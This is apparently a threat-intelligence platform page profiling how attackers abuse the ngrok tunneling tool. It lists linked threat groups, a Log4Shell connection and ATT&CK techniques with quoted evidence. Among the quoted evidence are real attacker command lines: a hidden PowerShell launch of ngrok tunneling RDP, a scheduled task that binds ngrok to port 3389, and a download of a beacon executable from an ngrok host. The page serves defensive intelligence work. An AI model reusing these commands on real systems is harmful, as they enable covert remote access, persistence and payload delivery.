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Mallory
Malware6 associated actors1 associated CVE

Ngrok

Tracked since Nov 25, 2025 · Updated 6 days ago
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 days2 mentions · peak 1 in a dayToday
Vulns1Associated
Actors6Associated
ATT&CK41Techniques
IOCs11Tracked
Capabilities
ExfiltrationPersistenceLateral movementPost exploitationDefense evasion
Platforms
WindowsAndroid

ngrok is a legitimate tunneling and reverse-proxy tool frequently abused by threat actors to obtain remote access to compromised systems. It exposes local services through public endpoints backed by ngrok infrastructure, enabling connections to hosts behind NAT or inbound firewall restrictions. Its legitimate administrative and development uses distinguish it from a purpose-built malware family.

Attackers commonly use ngrok to expose RDP and VNC services, proxy command-and-control communications, support lateral movement, and exfiltrate data. Encrypted tunnels, including those carried over outbound HTTPS, can conceal traffic and bypass perimeter restrictions without requiring externally exposed RDP ports. Operators have installed ngrok as a Windows service and deployed it across multiple hosts to maintain redundant access. Some intrusions have retained tunneling tools as fallback access mechanisms activated after remediation.

Documented users include Scattered Spider, Akira operators, Twelve, TunnelVision, Fox Kitten, and Iranian government-sponsored actors. Windows deployments include installations on internal servers following compromise of VMware Horizon through Log4Shell. ngrok has also been used alongside Loki backdoors and incorporated into Vultur's remote-access functionality with AlphaVNC on Android. These associations reflect abuse of a shared legitimate utility rather than exclusive attribution to any actor or malware family.

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Associated CVEs

Associated vulnerabilities

1 CVE Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.

CVE-2021-44228via sentinelone labsLog4ShellIn this example, the threat actor attempted to download ngrok to a compromised VMware Horizon server.View vulnerability →Source ↗
Threat actors

Associated threat actors

6 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.

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Imperial Kitten

“In some intrusions, these were held in reserve and activated only after victim organizations had carried out remediation actions, serving as a fallback mechanism to retain access.”

via picus security blogpicussecurity.com
Scattered Spider

The notorious cybercrime group “Scattered Spider” has used ngrok to establish persistent access in many intrusions, including an incident observed by ReliaQuest in November 2023.

via reliaquest com threat huntingreliaquest.com
Fox Kitten

This file is a version of Ngrok software that was hidden in the victim’s computer since the attacker hacked it.

via clearsky blogclearskysec.com
Twelve

The adversary used ngrok to tunnel traffic. They installed that utility immediately after connecting to the system, and set port 3389 (standard RDP port) in the configuration file.

via securelistsecurelist.com
tunnelvision

In this example, the threat actor attempted to download ngrok to a compromised VMware Horizon server.

via sentinelone labssentinelone.com
Kimsuky

The threat actor uses the additionally installed malware strains and proxy tools, such as Ngrok, to establish a proxy network environment.

via ahnlab asec blogasec.ahnlab.com
MITRE ATT&CK

Techniques & procedures

41 distinct techniques documented for this family, organized by ATT&CK tactic.

Resource Development

1 technique
T1588.002ToolEvidence1

It is a common technique to leverage third-party legitimate software for malicious purposes (T1588.002), which makes detecting and attributing APT activity more difficult.

Initial Access

2 techniques
T1133External Remote ServicesEvidence8

The third backdoor is by using a webshell of tmate[.]io... TeamTNT is utilizing this tool as a backdoor. The fourth backdoor is by utilizing a socket connected over HTTP service with Ngrok product.

T1190Exploit Public-Facing ApplicationEvidence1

"we have observed wide exploitation of ... recently Log4Shell... focusing around exploitation of VMware Horizon Log4j vulnerabilities."

Execution

6 techniques
T1047Windows Management InstrumentationEvidence1

Lateral movement was further supported by Windows Management Instrumentation (WMI)-based remote execution, which was used to deploy and launch ngrok on additional devices from compromised web servers.

T1053.005Scheduled TaskEvidence1

Scheduled task located that binds a pre-defined ngrok URL via TCP protocol using port 3389 Task name > MicrosoftSync Task action > C:\Windows\Temp\rk\ngrok.exe Task argument > tcp –region=us –remote-addr=3.tcp.ngrok.io:25126 3389

T1059Command and Scripting InterpreterEvidence2

ngrok runs at the command-line level; potential parent processes include: CMDline parameters ... PowerShell executes the ngrok application and binds the TCP port 3389

T1059.001PowerShellEvidence4

해당 로그는 과거 사례에서도 드로퍼 기능을 담당하는 스크립트 악성코드가 파워쉘 명령을 이용해 파일을 디코딩하는 과정에서 사용되었다.

T1059.004Unix ShellEvidence2

Immediate children were usually shells (zsh) under Claude Code; a shell under the agent executed curl, cloudflared-related activity, PlistBuddy, launchctl, and process checks.

T1059.005Visual BasicEvidence1

"The execution of VirtualHost.vbs allowed NGROK to listen and forward traffic..."

Persistence

6 techniques
T1053.005Scheduled TaskEvidence1

Scheduled task located that binds a pre-defined ngrok URL via TCP protocol using port 3389 Task name > MicrosoftSync Task action > C:\Windows\Temp\rk\ngrok.exe Task argument > tcp –region=us –remote-addr=3.tcp.ngrok.io:25126 3389

T1133External Remote ServicesEvidence8

The third backdoor is by using a webshell of tmate[.]io... TeamTNT is utilizing this tool as a backdoor. The fourth backdoor is by utilizing a socket connected over HTTP service with Ngrok product.

T1543Create or Modify System ProcessEvidence1

On several infected machines, the ngrok utility was found in the directory with the Loki loader. In other cases, instances of the gTunnel utility were discovered running in the context of the svchost.exe and runtimebroker.exe system processes.

T1543.001Launch AgentEvidence1

LaunchAgent material was written and loaded: a watchdog agent configured with PlistBuddy and reloaded with launchctl bootstrap, alongside tunnel-keeper style agents.

T1543.003Windows ServiceEvidence2

attackers used nssm.exe to start ngrok as a service to maintain a persistent backdoor.

T1547.001Registry Run Keys / Startup FolderEvidence1

"SMOKEDHAM created a persistence mechanism for NGROK by adding VirtualHost.vbs to the WindNT value under the current users Run registry key." and "...downloaded and store a file named update.lnk in the %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\ directory."

Privilege Escalation

5 techniques
T1053.005Scheduled TaskEvidence1

Scheduled task located that binds a pre-defined ngrok URL via TCP protocol using port 3389 Task name > MicrosoftSync Task action > C:\Windows\Temp\rk\ngrok.exe Task argument > tcp –region=us –remote-addr=3.tcp.ngrok.io:25126 3389

T1543Create or Modify System ProcessEvidence1

On several infected machines, the ngrok utility was found in the directory with the Loki loader. In other cases, instances of the gTunnel utility were discovered running in the context of the svchost.exe and runtimebroker.exe system processes.

T1543.001Launch AgentEvidence1

LaunchAgent material was written and loaded: a watchdog agent configured with PlistBuddy and reloaded with launchctl bootstrap, alongside tunnel-keeper style agents.

T1543.003Windows ServiceEvidence2

attackers used nssm.exe to start ngrok as a service to maintain a persistent backdoor.

T1547.001Registry Run Keys / Startup FolderEvidence1

"SMOKEDHAM created a persistence mechanism for NGROK by adding VirtualHost.vbs to the WindNT value under the current users Run registry key." and "...downloaded and store a file named update.lnk in the %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\ directory."

Stealth

3 techniques
T1036MasqueradingEvidence4

NSSM is not malicious by itself, but it can conceal the real executable behind an otherwise legitimate Windows service wrapper.

T1036.004Masquerade Task or ServiceEvidence2

The threat actor used FRPC ( frpc.exe ) daily as reverse proxy, tunneling RDP over TLS. The FRPC ( frpc.exe ) task name was lpupdate and ran out of Input Method Editor (IME) directory. In other events, the threat actor has been observed hiding activity via ngrok.

T1564Hide ArtifactsEvidence1

powershell.exe /c Start-Process -WindowStyle Hidden -FilePath ngrok.exe -ArgumentList 'tcp 3389'

Discovery

2 techniques
T1033System Owner/User DiscoveryEvidence1

In this example, the threat actor attempted to download ngrok... $c = "whoami"

T1082System Information DiscoveryEvidence1

This ranged from enterprise-wide encryption with no data exfiltration and extensive reconnaissance via remote access tools like AnyDesk, Ngrok, or LogMeIn...

Lateral Movement

5 techniques
T1021Remote ServicesEvidence4

The attackers subsequently moved laterally and downloaded additional tools, including (reverse proxy tool) Ngrok, which would play a prominent role in the attack’s later stages, using remote desktop protocol (RDP)

T1021.001Remote Desktop ProtocolEvidence16

Using the newly created account, the actors leveraged RDP to propagate to several hosts within the network.

T1021.004SSHEvidence1

Once inside, Pioneer Kitten frequently leverages SSH tunnels, proxy tools (e.g., ngrok, ligolo), or compromised Linux systems to reach Windows and cloud systems.

T1021.005VNCEvidence2

Vultur still contains the remote access functionality using AlphaVNC and ngrok that it had back in 2021... the latest edition still includes the ability to remotely access the infected device through AlphaVNC and ngrok.

T1021.006Windows Remote ManagementEvidence1

expose remote desktop service ports, like RDP and WinRM, to the open internet

Collection

1 technique
T1560Archive Collected DataEvidence1

wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-windows-amd64.zip -Outfile C:\Windows\Temp\s.zip ; Expand-Archive -Path C:\Windows\Temp\s.zip -DestinationPath C:\Windows\Temp\rk\

Command and Control

13 techniques
T1008Fallback ChannelsEvidence1

If one server goes down, the backdoor automatically rotates to the next available server in its list.

T1071Application Layer ProtocolEvidence1

Upon launch, it connected to the C2 server, allowing the operator to execute commands on the compromised host... Cloudflared tunnels traffic through the Cloudflare network.

T1071.001Web ProtocolsEvidence2

PowerShell invokes ngrok to communicate to a C2 server to retrieve malicious payload and write to disk powershell.exe /c (new-object System.Net.WebClient).DownloadFile('http://2f65dfe21ccb.ngrok.io/b3.exe','C:\tmp\beacon.exe')

T1090ProxyEvidence28

The actors used Ngrok to proxy RDP connections and to perform command and control.

T1090.001Internal ProxyEvidence2

"APT41 used a tool called CLASSFON to covertly proxy network communications." / "BADCALL functions as a proxy server between the victim and C2 server." / "Sandworm Team's BCS-server tool can create an internal proxy server to redirect traffic..."

T1090.002External ProxyEvidence16

ngrok and Cloudflared.exe expose RDP services or establish persistent outbound tunnels.

T1090.003Multi-hop ProxyEvidence2

the threat actor also installed a tunneling program called Ngrok to expose systems located within a NAT environment, allowing external access.

T1102Web ServiceEvidence2

Throughout the activity the usage of multiple legitimate services was observed... transfer.sh pastebin.com webhook.site ufile.io raw.githubusercontent.com

T1105Ingress Tool TransferEvidence9

The actors downloaded malware and multiple tools to the network, including PsExec, Mimikatz, and Ngrok.

T1219Remote Access ToolsEvidence13

Operators abused a wide array of remote access tools, these included: Atera, Teramind, AnyDesk, ngrok as well as MeshCentral/MeshAgents and AdaptixC2.

T1568.002Domain Generation AlgorithmsEvidence1

APT41 has used DGAs to change their C2 servers monthly. Aria-body has the ability to use a DGA for C2 communications. Astaroth has used a DGA in C2 communications. Bazar can implement DGA using the current date as a seed variable.

T1572Protocol TunnelingEvidence18

The threat actor used FRPC.exe to tunnel RDP over port 443. The threat actor has also been observed using ngrok for tunneling.

T1665Hide InfrastructureEvidence1

He did route his connections through a VPN hosted at servers from Tzulo along with the developer-oriented ngrok tunneling service and teleport.sh.

Exfiltration

4 techniques
T1041Exfiltration Over C2 ChannelEvidence1

ADVSTORESHELL exfiltrates data over the same channel used for C2... Agrius exfiltrated staged data using tools such as Putty and WinSCP, communicating with command and control servers... numerous malware and groups sent victim data, files, credentials, or host information over existing C2 channels.

T1048Exfiltration Over Alternative ProtocolEvidence3

Exfil to Listener With ngrok... Below is the secret value intercepted with your Netcat listener.

T1567Exfiltration Over Web ServiceEvidence2

In another compromise, the actors used Ngrok—a reverse proxy tool for proxying an internal service out onto an Ngrok domain—for data exfiltration [T1567].

T1567.002Exfiltration to Cloud StorageEvidence1

Doelservers of -services bevinden zich onder meer bij Mega, pCloud, Dropbox, Sendspace, OneDrive, GitHub en Google Drive. MegaSync en Rclone worden genoemd als veelgebruikte tooling.

Indicators of compromise

Observables

11 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.

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Indicator values are available in Mallory. Pivot on every hash, domain, URL, and IP, or pipe them straight into your SIEM.View all in Mallory
Activity feed

Recent activity

26 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

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Mallory platform

The version that knows your environment.

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IOC matching11Match every observed IP, domain, and hash against your live telemetry.
Associated threat actors6Groups linked to this family, with evidence pinned to each claim.
Associated vulnerabilities1CVEs linked to this family, with the reporting behind each link.
Detection signaturesYARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
MITRE ATT&CK mapping41Every documented technique, ranked by evidence weight.
Researcher chatterReddit, Mastodon, and CTI community discussion around this family.